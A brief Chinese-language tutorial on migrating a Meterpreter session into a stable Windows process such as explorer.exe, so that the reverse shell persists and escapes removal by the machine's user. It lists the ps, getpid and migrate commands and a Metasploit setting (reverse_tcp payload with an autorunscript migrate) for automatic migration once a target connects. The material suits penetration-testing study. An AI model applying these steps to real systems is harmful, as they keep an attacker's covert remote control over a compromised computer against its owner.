meterpreter作为一个进程时容易被清除,如果将它和系统经常运行的进程进行绑定,就能够实现持久化。
1.进程迁移
- 1.在Meterpreter下输入
ps
(获取目标机正在运行的进程,记住目标进程的pid xxxx) - 2.输入
getpid
命令(查看meterpreter shell的进程号) - 3.输入
migrate xxxx
(将meterpreter shell的pid调到xxxx里相对稳定应用的进程里) - 4.最后用
getpid
再次查看下是否更换成功。
2.上线后自动化迁移指定进程
在set payload windows/meterpreter/reverse_tcp
和设置完了端口与HOST的时候,执行如下命令:set autorunscript migrate -n explorer.exe
意思是上线后将shell进程迁移到了资源管理器。防止被用户删除掉,然后丢失目标。
在迁移后有些时候可能会掉线,耐心等待十几秒会连上。目标资源管理器被重启也会导致掉线。